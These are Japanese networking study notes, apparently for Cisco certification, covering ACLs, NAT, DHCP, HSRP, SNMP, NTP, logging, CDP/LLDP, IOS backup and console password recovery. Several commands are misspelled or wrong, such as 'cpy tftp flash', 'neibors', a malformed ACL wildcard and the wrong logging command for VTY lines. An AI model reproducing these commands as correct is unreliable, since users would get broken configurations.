4.6. OSPFのトラブルシューティング

OSPFの設定をしたにもかかわらず宛先まで通信できない場合、基本的には以下のことを確認する必要がある。

  • ルータ間の接続
  • ルーティングテーブルの確認
  • ACLが設定してあればACLの設定確認
  • ネイバーテーブルの確認

4.7. IPv6のネットワーク設定

4.7.1. IPv6ルーティングの有効化

IPv6ルーティングを有効化するには以下コマンドで行う。

ipv6 unicast-routing ipv6

4.7.2. インターフェイスにIPv6を設定する

IPv6インターフェイスには2つIPv6アドレスを設定する必要がある。 確かにリンクローカルアドレスは必ず設定する必要がある。

(config)#inteface <インターフェイス>
(config-if)#ipv6 address <リンクローカルアドレス> link-local
(config-if)#ipv6 address <ユニークローカルアドレス | グローバルアドレス> 

4.7.3. IPv6のルーティングテーブルを確認する

show ipv6 route

6.4.5 - 5.ACLの設定

アクセスコントロールに関する設定

5.1. ACLの用途と種類

ACL(アクセスリスト)は特定のトラフィックを抽出する条件リストでルータのインターフェイスに割り当てて使用する。

ACLはパケットフィルタリングのほかに以下機能と組み合わせ利用される。

  • NAT
  • VPN
  • QoS
  • ダイナミックルーティング

5.1.1. ACLの種類

アクセスリストは以下表のように規定されている。

種類番号範囲
標準IP1~99
拡張IP100~199
AppleTalk600~699
標準IPX800~899
拡張機能IPX900~999
IPX-SAP1000~1099
名前付きIP名前で定義

標準アクセスリスト

標準ACLではパケットの送信元IPアドレスをチェックする。 また標準ACLの種類には番号付き標準ACLと名前付き標準ACLがあり、それぞれ1~99の値を設定、名前を表す文字列を指定する。

拡張アクセスリスト

拡張ACLでは送信元IPアドレス、宛先IPアドレス、プロトコル番号、送信元ポート番号,宛先ポート番号をチェックする。 また拡張ACLの種類には番号付き拡張ACLと名前付き拡張ACLがあり、それぞれ100~199の値を設定、名前を表す文字列を指定する。

5.2. ワイルドカードマスクの補足

ワイルドカードマスクは2進数表記にした場合、0の部分のチェックを行い、1の部分は無視する。

ワイルドカードマスクが000.000.000.255の場合は第1から第3オクテットまでは固定、第4オクテットは条件に含まない。

例えばIPアドレスが192.168.10.0でワイルドカードマスクが000.000.000.255の場合、ネットワーク範囲は192.168.10.0~192.168.10.255までとなる。

なおワイルドカードマスクの省略形にanyやhostがあり意味は以下の通りである。

  • any … すべてのアドレスビットを無視する
  • host … すべてのアドレスビットをチェックする(特定のホストアドレス)

つまり0.0.0.0 255.255.255.255 → anyIPアドレス 0.0.0.0 → host IPアドレスとなる。

5.2. 標準アクセスリスト/拡張アクセスリストの作成

5.2.1. アクセスリストの設定と確認

標準アクセスリストの作成

標準アクセスリストは送信元IPアドレスで判断し、以下コマンドで実行可能。

注意点としてはACLではリストの上から検索を行い該当行があった場合それ以降の行を検索しない。 そのため記述する順番を意識する必要がある。

なお、どのリストにも該当しない場合はそのトラフィックは拒否される(暗黙の拒否)。

(config)#access-list <ACL番号:1~99, 1300~1999> <permit | deny> <送信元IPアドレス> <ワイルドカードマスク | any>

denyの場合は条件に合致した場合はトラフィックを拒否。 permitの場合は条件に合致した場合はトラフィックを許可。

標準アクセスリストには送信元アドレスしか指定できなお。 そのため、送信元の近くに配置すると宛先に関係なくフィルタリングが早めにかかってしまい、意図しないトラフィックが拒否されてしまう。 そのため拒否するトラフィックの宛先近くに配置する必要がある。

拡張アクセスリストの作成

拡張アクセスリストではトランスポート層の情報であるTCP/UDP、ポート番号まで指定できる。 そのため特定のアプリケーションに対する動作を設定可能

(config)#access-list <ACL番号:100~199, 2000~2699> <permit | deny> <L4プロトコル> <送信元IPアドレス> <ワイルドカードマスク> [送信元ポート番号] <宛先IPアドレス> <ワイルドカードマスク> [オプション]

以下に例をいくつか示す。

(config)#//端末192.168.1.11からネットワーク172.16.1.0/24へのIP通信を拒否
(config)#access-list 100 deny ip host 192.168.1.11 172.16.1.0 0.0.0.255
(config)#//すべての送信元から172.16.0.11へのHTTPアクセスのみ許可する例
(config)#access-list 100 permit tcp any host 172.16.0.11 eq www
(config)#//端末192.168.1.11からネットワーク172.16.1.0/24へのエコー要求を拒否
(config)#access-list 100 deny icmp host 192.168.1.11 172.16.1.0 0.0.255 echo

プロトコルごとのオプションは以下の通り。

プロトコルオプション
ipdhcpなど
tcpeq www, eq 80など
udpeq snmp, eq 161
icmpecho, echo-replyなど

なおポート番号は以下表よりキーワードでも指定可能。

ポート番号キーワード
20ftp-data
21ftp
23telnet
25smtp
53domain
67bootps
68bootpc
69tftp
80www
110pop3

またプロトコルはチェックの対象となるプロトコルを指定する箇所へ「tcp」、「icmp」、「ospf」といったプロトコル名の代わりにプロトコルナンバーを使用できる。

プロトコル名プロトコル番号
ICMP1
TCP6
UDP17
EIGRP88
OSPF89

拡張アクセスリストには送信元と宛先アドレスの両方を指定できる。適切な条件であればネットワーク上のどこに配置しても問題ない。 ただし拡張アクセスリストを不要なトラフィックを拒否する目的で使用する場合は送信元の近くに配置し、できるだけ早めにフィルタリングを行ってネットワーク全体に不要なトラフィックを流さないようにすることが推奨される。

アクセスリストの適用

ACLはインターフェイスのインバウンドかアウトバウンドどちらかに適用する。 両者でACLの認可を決めるタイミングが異なり、1つのインターフェイスにはL3プロトコルごとにインバウンド/アウトバンドどちらか片方しか設定できない。

  • インバウンド … ルータがパケット受信するタイミング
  • アウトバウンド … ルータがパケットを送信するタイミング

なおインターフェイスへのACL適用は以下コマンドで行える。

(config)#interface fastEthernet <ポート番号>
(config-if)#ip access-group <ACL番号> <in | out>

アクセスリストの確認

ルータに作成されているACLは以下コマンドで確認を行える。

show ip access-lists

5.3. 名前付きアクセスリストの作成

名前付きアクセスリストは名前でアクセスリストを識別できる他に、アクセスリスト中の特定のステートメントを削除やシーケンス番号を振りなおせる特徴がある。

5.3.1. 名前付き標準アクセスリスト

設定はip access-list standard <名称>で可能。 方法は以下コマンドより。

(config)#ip access-list standard <名称>
(config-std-nacl)#<permit | deny> <IPアドレス> <ワイルドカードマスク>
(config-std-nacl)#exit
(config)#interface fastEthernet <ポート番号>
(config-if)#ip access-group <名称> <in | out>

なおACLのシーケンス番号を指定する際は上記コード2行目の<permit | deny>の前に指定する。

5.3.2. 名前付き拡張アクセスリスト

設定方法は以下コマンドより。

(config)#ip access-list extended <名称>
(config-std-nacl)#<permit | deny> <L4プロトコル> <送信元ポート番号> <送信元IPアドレス> <宛先IPアドレス> <宛先ポート番号>
(config-std-nacl)#exit
(config)#interface fastEthernet <ポート番号>
(config-if)#ip access-group <名称> <in | out>

5.4. ACLによるVTYアクセス制御

ACLはVTY接続(SSH, TELNETによる接続)にも設定が可能。 設定にはaccess-class <ACL番号 | 名称> <in | out>で行う。

(config)#line vty <開始番号> <終了番号>
(config-line)#access-class <ACL番号 | 名称> <in | out>

5.5. ACLのトラブルシューティング

ACLの適用により通信が不能になる、ブロックされるはずの通信が届くなど予期せぬ動作が起きた場合、以下可能性を基に調査すると良い。

  • ACLの作成順序の間違い
  • ACLの内容(送信元/宛先IP、ワイルドカードマスク)の間違い
  • ACL適用インターフェイスの間違い
  • ACL適用方向(in/out)の間違い
  • 暗黙のdenyを忘れたACL設計

6.4.6 - 6.NAT・DHCPの設定とDNSの確認

NAT・DHCPの設定とDNSの確認

6.1. NATの設定

NATはプライベートIPアドレスをグローバルIPアドレスに変換する仕組み。

6.1.1. NATの確認

NATの確認はshow ip nat statisticsshow access-listsshow runnning-configで確認可能。

NATテーブルの確認

show ip nat translations

NATテーブルにNAT変換情報が登録されるタイミングはNAT方式によって異なる。 Static NATの場合は設定を行った時点でNATテーブルへNAT変換情報が登録される。 一方、Dynamic NAT/NAPTの場合はNAT変換を行う通信が発生した時点で、NATテーブルへNAT変換情報が登録される。

NATのアドレス変換の統計情報確認

show ip nat statistics

NATの変換情報のリアルタイムでの確認

debug ip nat

NATテーブルの削除

# 下記例ではすべてのNATテーブルを消す
clear ip nat translations *

6.1.2. Static NATの設定

Static NATを設定する場合以下のことを行う必要がある。

  • ルータのインターフェイスにinside/outsideの設定
  • 内部ローカルアドレスと内部グローバルアドレスの組み合わせをNATテーブルに登録

以下に設定例のコマンド手順を記載する。

(config)#interface <ポートの規格: fastEthernetなど> <ポート番号>
(config-if)#ip nat inside 
(config-if)#exit
(config)#interface <ポートの規格: fastEthernetなど> <ポート番号>
(config-if)#ip nat outside 
(config-if)#exit
# NATテーブルに内部ローカルアドレスと内部グローバルアドレスの組み合わせを登録
(config)# ip nat inside source static <内部ローカルアドレス> <内部グローバルアドレス>

6.1.3. Dynamic NATの設定

Dynamic NATを設定する場合以下のことを行う必要がある。

  • ルータのインターフェイスにinside/outsideの設定
  • 変換対象の内部ローカルアドレスのリストの作成
  • アドレスプールの作成
  • 内部ローカルアドレスリストとアドレスプールの紐づけ

変換対象の内部ローカルアドレスのリストの作成はACLを使用する。 ACLのpermitとなっているアドレスはNAT変換される。 一方でdenyとなっているアドレスはNAT変換が行われない。

以下に設定例の手順を記載する。

(config)#interface <ポートの規格: fastEthernetなど> <ポート番号>
(config-if)#ip nat inside 
(config-if)#exit
(config)#interface <ポートの規格: fastEthernetなど> <ポート番号>
(config-if)#ip nat outside 
(config-if)#exit
# 変換対象の内部ローカルアドレスのリストをACLで作成
(config)# access-list <ACL番号> permit <送信元IPアドレス> <ワイルドカードマスク: 0.0.0.255など>
# アドレスプールの作成
(config)#ip nat pool <プール名> <開始アドレス> <終了アドレス> netmask <サブネットマスク>
# NATテーブルに内部ローカルアドレスリストとアドレスプールの紐づけ
(config)#ip nat inside source list <ACL番号> pool <プール名>

6.1.4. NAPT(PAT, IPマスカレード)の設定

NAPTをを設定する場合以下のことを行う必要がある。

  • ルータのインターフェイスにinside/outsideの設定
  • 変換対象の内部ローカルアドレスのリストの作成
  • アドレスプールを利用する場合は作成(任意)
  • 内部ローカルアドレスリストとアドレスプールまたは外部インターフェイスの紐づけ

NAPTはアドレスプールの設定は必須ではなく任意。 また外部インターフェイスに設定されたIPアドレスを変換するための内部グローバルアドレスとして使える

以下に設定例(アドレスプールを使用しない場合)の手順を記載する。

(config)#interface <ポートの規格: fastEthernetなど> <ポート番号>
(config-if)#ip nat inside 
(config-if)#exit
(config)# interface <ポートの規格: fastEthernetなど> <ポート番号>
(config-if)#ip nat outside 
(config-if)#exit
# 変換対象の内部ローカルアドレスのリストをACLで作成
(config)#access-list <ACL番号> permit <送信元IPアドレス> <ワイルドカードマスク: 0.0.0.255など>
# 外部インターフェイスとアクセスリストの紐づ(overloadでNAPTとなる)
(config)#ip nat inside source list <ACL番号> interface <ポートの規格: fastEthernetなど> <ポート番号> overload

6.1.5. NAT変換がうまくいかない場合の確認事項

  • 内部インターフェイス/外部インターフェイスの指定ミスがないか
  • 変換対象の内部ローカルアドレスを指定するACLの間違えていないか
  • 内部ローカルアドレス/内部グローバルアドレスの紐づけ間違いがないか
  • NATのアドレスプールで指定する内部グローバルアドレスの間違いがないか
  • NAPTの場合はoverloadの指定忘れがないか

6.2. DHCPの設定

DHCPはクライアントやネットワーク機器に自動でプライベートIPアドレスを付与する仕組み。

DHCPはDHCPサーバとDHCPクライアントから成り立つ。 ルータはDHCPサーバ、DHCPクライアントどちらにも動作させることができる。

具体的にはDHCPの設定は以下2つのパターンのいずれかで行える。

  • DHCPサーバを用意する
  • ルータ自身にDHCPサーバ機能を持たせる

6.2.1. DHCPの確認

DHCPクライアントか確認する

show ip interface briefshow interfacesshow dhcp lease等で確認が可能。

DHCPのアドレスプールの確認

show ip dhcp pool

IPアドレスの割り当て状況確認

show ip dhcp binding

重複が発生したIPアドレスの確認と削除

show ip dhcp conflict

clear ip dhcp conflict *

6.2.2. DHCPサーバとしての設定

ルータをDHCPサーバにするには以下ステップを踏む必要がある。

  • アドレスプールの作成
  • 配布するIPアドレスのネットワーク/サブネットの指定
  • デフォルトゲートウェイの指定
  • IPアドレスのリース期間の指定
  • DNSサーバの指定
  • 除外するアドレスの指定
(config)#ip dhcp pool <プール名>
(dhcp-config)#network <ネットワーク> <サブネットマスク または /プレフィックス>
(dhcp-config)#default-router <IPアドレス>
(dhcp-config)#lease <日数>
(dhcp-config)#dns-server <DNSサーバのIPアドレス>
(dhcp-config)#exit
(config)#ip dhcp excluded-address <開始アドレス> [<終了アドレス>]

6.2.3. DHCPクライアントとしての設定

ルータのインターフェイスのIPアドレスをDHCPサーバに割り当ててもらう場合、そのルータをDHCPクライアントにする必要がある。

なお以下はルータのポートはDHCPサーバのブロードキャストを受け取る側で実行する必要がある。

(config)#interface <ポートの規格: fastEthernetなど> <ポート番号>
(config-if)#ip address dhcp
(config-if)#no shutdown

6.2.4. DHCPリレーエージェントの設定

DHCPリレーエージェントはブロードキャストされたDHCP要求をユニキャストで転送する機能。 DHCPサーバとクライアント間にルータがある場合、ルータはブロードキャストを行わない。 そのためクライアントにIPアドレスを割り当てることができない。 この問題の解決のためにはルータにDHCPリレーエージェントを設定する必要がある。

なおクライアント側のポートで以下は実行する必要がある。

(config)#interface <ポートの規格: fastEthernetなど> <ポート番号>
(config-if)#ip helper-address <DHCPサーバのIPアドレス>

6.3. DNSの確認

6.3.1. DNSサーバとして使用する

CiscoルータはDNSサーバとして動作させることができる。

#DNSサーバ機能を有効化する
(config)#ip dns server
#DNSサーバが回答する名前とIPアドレスのペアを登録
(config)#ip host {ホスト名} {IPアドレス}

6.3.2. DNSクライアントとして使用する

Ciscoのルータは名前解決を行うDNSクライアントとすることができる。 DNSクライアントとして動作させるには以下のコマンドを使用する。

#DNSによる名前解決を行う
(config)#ip domain lookup
#DNS参照先のIPアドレスを指定する
(config)#ip name-server {IPアドレス}
#(任意)自身の所属するドメイン名を登録する。ホスト名のみで問い合わせた場合に自動的に補完される
(config)#ip domain name {ドメイン名}
#(任意)ホスト名のみでの問い合わせ時に自動的に補完されるドメイン名のリスト。「ip domain name」での設定値よりも優先される。
(config)#ip domain list {ドメイン名}

6.4.7 - 7.HSRPによるDGW冗長化とSNMPによる監視の設定

回線冗長化設定とSNMPの設定

7.1. HSRPの設定

HSRPはCisco独自のDGW冗長化プロトコル。 バックアップ用のDGWの追加やDGWの冗長化などを行うことができる。

7.1.1. HSRPの有効化

HSRPの有効化自体は以下コマンドで行うことができる。

(config-if)#standby [<スタンバイグループ番号>] ip [<仮想IPアドレス>]

スタンバイグループ番号はHSRPv1の場合は0~255までの番号を指定。番号を省略した場合は0になる。 仮想IPアドレスには仮想IPアドレスが指定できるが、省略した場合はスタンバイグループの他ルータから送信されたHelloパケットから仮想IPアドレスの学習を行う。 仮想IPアドレスはルータに設定されている値を設定することはできないため注意する必要がある。

7.1.2. HSRPプライオリティ値の設定

HSRPのプライオリティ値の設定は以下コマンドで行える。

(config-if)#standby [<スタンバイグループ番号>] priority <プライオリティ値>

プライオリティ値は0~255の間から指定を行う。 指定しなかった場合はデフォルトの100となる。

7.1.3. プリエンプトの指定

常にプライオリティ値の大きいルータをアクティブルータにする機能はプリエンプトで、 具体的には、アクティブルータが障害後にルータがバックアップルータに切り替わった後にアクティブルータが復旧した後に元のアクティブルータをDGWの使用に戻す際に使用できる設定となる。

設定は以下コマンドで行える。

(config-if)#standby [<スタンバイグループ番号>] preempt

7.1.4. インターフェイストラッキングの設定

アクティブルータのWAN側のインターフェイスに障害が起きて通信ができなくなってもHSRPで直接検知ができない。そのため通信が行えないDGWの方がアクティブルータになったままになる場合がある。 そのためインターフェイスの状態によりHSRPプライオリティ値を減少させる機能がある。

設定を行うには以下コマンドで行う。

(config-if)#standby [<スタンバイグループ番号>] track <インターフェイス> [<減少値>]

インターフェイスには追跡したいインターフェイス(fastEthernet 0/0など)を指定する。 指定したインターフェイスがダウンした場合に設定した減少値だけプライオリティ値が減少し、アップに戻ると元のプライオリティ値に戻る。 減少値は指定しない場合はデフォルトの10が設定値となる。

7.1.5. HSRP設定の確認

HSRPの要約情報を確認するには以下コマンドで行える。

show standby brief

また詳細な情報は以下コマンドで行うことができる。

show standby

上記コマンドでは以下内容が確認できる。

  • 有効になっているインターフェイス/グループ/役割
  • 仮想IPアドレス
  • 仮想MACアドレス
  • プリエンプトが有効になっているかどうか
  • HSRPプライオリティ値

7.2. SNMPの設定

7.2.1. SNMPビューの設定

SNMPビューを設定すると特定のMIB情報のみをSNMPマネージャに取得させる、させないといったことができる。

(config)#snmp-server view <ビュー名> <OID> <include | exclude>

ビュー名には作成した任意のビュー名を指定する。

7.2.2. コミュニティ名の設定

SNMPv1やv2の認証ではコミュニティ名を使用する。 コミュニティ名の指定は以下コマンドで行うことができる。

(config)#snmp-server community <コミュニティ名> [view <ビュー名>] [ro | rw] [<ACL>]

コミュニティ名はSNMPエージェントとマネージャで合わせる必要がある。 view項目はSNMPビューを使用しMIB取得を制限させる場合に使用する。 またroは読み取りを許可、rwは読み書きを許可。 ACLではACLのpermitで許可されているアドレスからのみ要求を受け付ける設定が可能。

7.2.3. 通知機能の設定

SNMPトラップやSNMPインフォームなどのSNMP通知機能を設定するにはエージェント側でマネージャ(NMS)を指定する必要がある。

通知送信先の指定

SNMPマネージャの指定は以下コマンドで行える。

(config)#snmp-server host <IPアドレス> [traps | informs] [ version < 1 | 2c | 3 <auth | noauth priv>>] <コミュニティ名 | ユーザ名>

トラップの有効化

SNMPトラップ/SNMPインフォームといった通知機能を有効化するには以下コマンドを実行する。

(config)#snmp-server enable traps [<トラップ対象>]

トラップ対象を省略するとすべてのトラップが有効となる。

7.2.4. SNMPv1とSNMPv2c

SNMPv1ではコミュニティ名を利用して認証が行われる。なお平文のまま送信されるため盗聴される危険性がある。SNMPトラップしか対応していない。 SNMPv2cではSNMPv1の機能に加え、GetBulkRequestやSNMPインフォームが利用可能という特徴がある。

SNMPv1

SNMPv1では以下のコマンドが定義されている。

  • Get Request・・・指定のオブジェクトIDに対応した情報の要求
  • GetNext Request・・・次のオブジェクトIDに対応した情報の要求
  • Set Request・・・SNMPエージェントの制御
  • Get Response・・・マネージャからの要求に対する応答
  • Trap・・・SNMPエージェントからマネージャへの一方的な状態通知

SNMPv2c

SNMPv2cでは64bitカウンタに対応しさらに以下のコマンドが追加されている。

  • GetBulk Request・・・繰り返しの情報の要求
  • Inform Request・・・SNMPエージェントからマネージャへの状態通知。マネージャから応答がなければ再送

またSNMPv2cでは認証に使うコミュニティストリングの設定が必須となる。 設定内容は以下のコマンドで確認できる。

# コミュニティストリング
show snmp community
# 設置場所
show snmp location
# 管理者情報
show snmp contact
# トラップ送信先
show snmp host
# シリアルナンバー
show snmp chassis

7.2.5. SNMPv3の設定

SNMPv3ではコミュニティ名ではなくユーザ名やパスワードにより認証を行う。 SNMPユーザはSNMPグループに参加しグループ単位でSNMPビュー, セキュリティレベルの設定が行われる。 そのためコミュニティストリングの設定はない。

SNMPグループの作成

SNMPグループは以下コマンドで作成できる。

(config)#snmp-server group <グループ名> v3 <auth | noauth | priv> [read <ビュー名>] [write <ビュー名>] [access <ACL>]

グループ名には作成したいグループを作成。その後ろにセキュリティレベルを指定し、auth(AuthNopriv), noauth(NoAuthNopriv), priv(AuthPriv)の設定が行える。

SNMPユーザの作成

SNMPユーザはSNMPグループと関連付ける必要がある。 SNMPユーザの作成は以下コマンドで行える。

(config)#snmp-server user <ユーザ名> <グループ名> v3 [auth <md5 | sha> <パスワード>] [priv <des | 3des | aes <128 | 192 |256>> <パスワード>]

MD5やSHAによる認証を行う場合はauthのほうでパスワードを指定し、暗号化を行う場合、privで暗号化方式とパスワードを指定する。

エンジンIDの確認

またSNMPv3ではSNMPエージェントやマネージャを識別するためにエンジンIDという一意の値を使用する。エンジンIDは自動的に生成されるが管理者が設定することも可能となっている。

show snmp engineID

このコマンドではengineIDのほかにSNMPマネージャのIPアドレスを確認できる。

7.2.6. SNMPの確認

SNMPビューの確認

show snmp view

SNMPグループの確認

show snmp group

SNMPユーザの確認

show snmp user

確認できる項目は以下の通り。

  • 作成したビュー
  • 作成したグループとセキュリティモデル、可読可能なビュー
  • 作成したユーザ
  • 認証プロトコルの種類
  • 所属グループ

7.3. IP SLA

IP SLA(Service Level Agreement)は、パケットを生成してネットワークのパフォーマンスを監視/測定するCisco IOSの機能。

IP SLAによる監視では、通常のサーバをターゲットにすることも可能であるが、IP SLAレスポンダ(ターゲットもIOSを搭載しIP SLAをサポートしているデバイス)を用意することで、測定精度が向上し、VoIPの遅延やジッタを測定することも可能になる。

6.4.8 - 8.ネットワーク機器の管理と運用設定

systemログ管理やNTP/QoSなどに関して

8.1. システムログの設定

8.1.1. システムログの出力先設定

システムログのメッセージは以下のような場所に出力される。

  • コンソールライン
  • 仮想ターミナルライン
  • ルータやスイッチのRAM
  • Syslogサーバ

それぞれの出力先の設定により設定コマンドが異なる。 またシステムのログレベルは以下の通り。

重大度意味説明
0緊急システムが不安定
1警報直ちに処置が必要
2重大クリティカルな状態
3エラーエラー状態
4警告警告状態
5通知正常だが注意を要する状態
6情報単なる情報メッセージ
7デバッグデバッグメッセージ

例えば3まででは1から3までのメッセージしか表示されず、7ではすべてのメッセージが表示されることになる。

コンソールラインへの出力

コンソールにはデフォルトでログが出力される。 なおコンソール上の出力されるシステムログレベルは7となる。 レベル7ではすべてのログが表示される。 ログレベルの変更は以下コマンドで行える。

(config)#logging console <レベル>

仮想ターミナルラインへの出力

仮想ターミナルラインにシステムコンソールを表示するには以下コマンドできる。

terminal monitor

また上記コマンドのみではログインセッションが切れるとコマンドが無効になる。 またログレベルの変更は以下コマンドで行える。

(config)#logging console <レベル>

ルータやスイッチのRAMへの出力

ルータやスイッチのRAMにシステムログを保存するにはサイズを指定する必要がある。

(config)logging buffered <サイズ(Byte単位で4096以上を指定)>

また保存するログのログレベルの変更は以下コマンドで可能。

(config)logging buffered <レベル>

Syslogサーバへの出力

Syslogサーバへシステムログを出力するにはサーバの指定が必要で以下コマンドで行える。

(config)# logging host <IPアドレス/ホスト名>

8.1.2. システムログのその他の設定

タイムスタンプの表示設定

システムログで表示されるメッセージのタイムスタンプの形式は以下コマンドで行える。

(config)#service timestamps <debug | log> [<datetime [localtime] [msec] [show-timezone] [year] | uptime>]

シーケンス番号の設定

メッセージにシーケンス番号を付加するには以下コマンドで行える。

(config)#service sequence-numbers

システムログの確認

コンソールラインや仮想ターミナルラインでシステムログを確認するには以下コマンドで行える。

show logging

デバッグの設定と表示

システムログのレベル7に相当するデバッグは通常のlogging consoleterminal monitorでは表示されない。表示するには以下コマンドを実行する。

debug <表示したいデバックメッセージ>

デバッグコマンドはCPUに負荷がかかるため必要なときのみ使用するようにする。 デバッグメッセージを止める場合以下コマンドを実行することでできる。

no debug all

8.2 NTPの時刻管理の設定

8.2.1. NTPクライアントとしてサーバとの同期有効化

クライアント/サーバモードのクライアントとしてNTPサーバに対して時刻を要求するには以下コマンドを行う。

(config)#ntp server <IPアドレス> [prefer]

IPアドレスにNTPサーバのIPアドレスを指定する。 複数のNTPサーバを指定していたときはpreferを指定すると、サーバと優先的に同期を行うにすることができる。

8.2.2. NTPサーバとして有効化

Ciscoルータはクライアント/サーバモードどちらでも動作させられる。 NTPサーバにするには以下コマンドで行う。

(config)#ntp master [<stratum数>]

statrum数は1~15まで指定可能で、デフォルトでは8になる。

8.2.3. NTP認証の設定

NTPの認証機能を追加すると信頼できるNTPサーバ/クライアント間の通信に限定するため、誤った不正時刻に更新されることを防ぐことができる。 設定にはNTPサーバ/クライアント間双方で認証を有効化し共通番号の文字列定義を行う。

また自身のNTP設定の確認は以下コマンドで行える。

show ntp status

認証機能の有効化

認証機能はデフォルトでは無効化されているため以下コマンドで有効化する。

(config)#ntp authenticate

認証鍵の定義

認証鍵の定義は以下コマンドで行える。

(config)#ntp authentication <鍵番号> md5 <文字列>

NTPサーバ/クライアントに対して共通の鍵番号と文字列を指定する。

定義した鍵番号指定

鍵番号の指定は以下コマンドで行う。

(config)#ntp trusted-key <鍵番号>

同期有効化時の鍵番号指定

NTPクライアント側で時刻同期するNTPサーバに対して認証を行うには以下コマンドで設定を行う。

(config)#ntp server <IPアドレス> key <鍵番号> [prefer]

NTP時刻同期の確認

NTPの時刻同期状態の確認は以下コマンドで行える。

show ntp associations

8.2.4. タイムゾーンの設定

日本の場合UTCから+9時間の時差(JST)となる。 設定は以下コマンドで行える。

(config)#clock timezone <タイムゾーンの略称> <時差>

またルータなどの現在時刻の確認は以下コマンドで行える。

show clock

8.3. CDP/LLDPによる隣接機器の検出設定

8.3.1. CDPの設定と確認

Cisco機器ではCDPはデフォルトでONになっている。 有効化/無効化は以下コマンドで行う。

なおCDPの設定はshow cdpshow cdp interfaceコマンドで確認可能で以下情報が確認可能。

  • CDPパケット送信間隔(60s)
  • ホールド時間(180s)
  • CDPのバージョン

機器全体でのCDP設定

(config)#cdp run
(config)#no cdp run

インターフェイスごとのCDP設定

(config-if)#cdp enable
(config-if)#no cdp enable

CDPの隣接機器の要約情報確認

CDPで隣接機器から受信したの確認は特権EXECモードでshow cdp neiborsを実行する。

# cdpのL2情報の確認
show cdp neibors
# cdpのL3情報の確認
show cdp neibors detail

なお特定機器の隣接機器の情報を表示するにはshow cdp entry <機器名>を実行する。

8.3.2. LLDPの設定と確認

LLDPの設定と確認

Cisco機器以外で隣接機器の情報を取得したい場合はLLDPを有効化する必要がある。 有効化/無効化は以下コマンドで行う。

なおCDPの設定はshow lldpコマンドで確認可能で以下情報が確認可能。

機器全体でのLLDP設定

(config)#lldp run
(config)#no lldp run

インターフェイスごとのLLDP設定

transmitでLLDPフレームの送信、receiveでLLDPフレームの受信を設定できる。

(config-if)#lldp <transmit | rececive>
(config-if)#no lldp <transmit | rececive>

LLDPパケット送信間隔とホールド時間の設定

LLDPはデフォルトでは30秒ごとにLLDPフレームを送信する。 変更する場合はlldp timer <秒>で設定する。

ホールド時間はデフォルトでは120秒となっており、変更する場合はlldp holdtime <秒>で設定する。

またLLDPの初期化処理の遅延時間はデフォルトでは2秒であるが、これを変更するにはlldp reinit <秒>で指定する。

LLDPの隣接機器の要約情報確認

LLDPで隣接機器から受信したの確認は特権EXECモードでshow lldp neiborsを実行する。

# lldpのL2情報の確認
show lldp neibors
# lldpのL3情報の確認
show lldp neibors detail

なお特定機器の隣接機器の情報を表示するにはshow llp entry <機器名>を実行する。

8.4. Cisco IOSの管理設定

8.4.2. CISCO IOSのイメージファイルの確認

CISCO IOSのイメージのバージョンやファイルを確認するには特権EXECモードで以下コマンドを実行する。

show flashコマンド

このコマンドではフラッシュメモリに保存されているファイル(IOSイメージを含む)やフラッシュメモリの容量などを確認できる。

show flash

show versionコマンド

show version

このコマンドではIOSファイル以外にも以下内容を確認できる。

  • IOSバージョン
  • IOSイメージファイル名
  • CPU/RAMの容量
  • ルータのインターフェイス
  • フラッシュメモリの容量
  • コンフィギュレーションレジスタ値
  • システムが稼働してからの時間
  • システムを起動した方法
  • DRAMの容量

8.4.3. CISCO IOSのバックアップとリストア

CISCO IOSのアップデート後に不具合が発生した際にバージョンを戻して対応できるようにバックアップを行うと安全である。

CISCO IOSのバックアップ手順

基本的にはTFTPサーバを用いてバックアップを行う。

この場合、実行前の準備としてTFTPサーバを立てておく必要がある。 TFTPサーバは基本PCで建てる場合が多く、windowsでは3CDaemonというソフトウェアで立てられる。

  1. TFTPサーバの準備と疎通確認(ping)を行う。
  2. show flashコマンドで.binが拡張子のIOSイメージファイルと空き容量を確認する
  3. copy flash tftpコマンドでIOSイメージをバックアップする

CISCO IOSのアップグレード

アップグレードを行う前にアップグレードを行いたいネットワーク機器がIOSの動作要件を満たしているか確認する。 また現行の機能がアップグレード後も使用できるか増設インターフェイスの使用ができるかやメモリの容量があるかなども確認が必要となる。

IOSはTFTPサーバにアップロードして特権EXECモードで以下のコマンドを使用する。

cpy tftp flash

CISCO IOSのリカバリ手順

事前準備として現行設定が保存されたrunnning-configのバックアップをしておく必要がある。 これはルータやスイッチの設定が誤った場合に戻せるようにするためである。

copy running-config tftp

リカバリはtftpに保存したバックアップファイルを設定ファイルにコピーして行う。 なおこの際のコピーは上書きではなくマージとなる。

copy tftp running-config

マージでは既存の設定、コピー元の設定が有効となり、競合した項目はコピー元が優先して保存される。

8.4.5. パスワードの復旧方法

特権EXECモードに移る際のパスワードを忘れてしまった場合は以下手順でパスワードを再設定できる。 ただし設定用PCとCISCO機器を直接接続する必要がある。

  1. ROMMONモードにアクセスする : ルータの再起動を行い、起動シーケンスでSelf decompressing the image : #########部分表示中にAlt+bを押してシーケンスを中断させる。(ハイパーターミナルの場合はCtrl+Break)
  2. コンフィギュレーションレジスタ値の変更をする : コマンドconfreg 0x2142を叩いてコンフィギュレーションレジスタ値を0x2142にする。これは次回起動時にNVRAMの内容を無視して読み込むことを意味する。
  3. ルータを再起動する : resetコマンドによりルータを再起動する
  4. 再起動後に特権EXECモードに入りstartup-configをコピーする : パスワードを要求されずに特権モードに移れるのでcopy startup-config runnning-configでコピーする。
  5. 特権EXECモードから抜けずに新しいパスワードを設定する : conf tでコンフィギュレーションモードに入り、上記1.4.2に基づいてパスワードを再設定する
  6. コンフィギュレーションレジスタ値をもとに戻す : コンフィギュレーションレジスタ値を0x2102に戻す。具体的にはconfig-register 0x2102で戻す
  7. 設定の保存をcopy running-config startup-configで保存する

8.5. リモートアクセス管理

8.5.1. ルータやスイッチからリモートアクセスする

telnetやsshで現在アクセスしているネットワークデバイスから別のネットワークデバイスにアクセスができる。 なお切断はexitで行い、中断はCtrl+Shift+6入力後にXキーを押すと可能。

telnet

telnet <IPアドレス | ホスト名>

ssh

ssh -l <ユーザ名> <IPアドレス | ホスト名>

セッションの確認と再開

中断した接続に戻る場合で特に複数接続を行いセッションを中断する場合はリモートセッションを確認する必要がある。 show sessionでセッションを確認、resume <セッション番号>でセッションに復帰可能となる。

show session

中断セッションの切断

中断しているセッションはdisconnect <セッション番号>で切断可能。

ログインしてきているセッションの確認

show usersでユーザのログインを確認可能。

8.5.2. バナーメッセージの設定

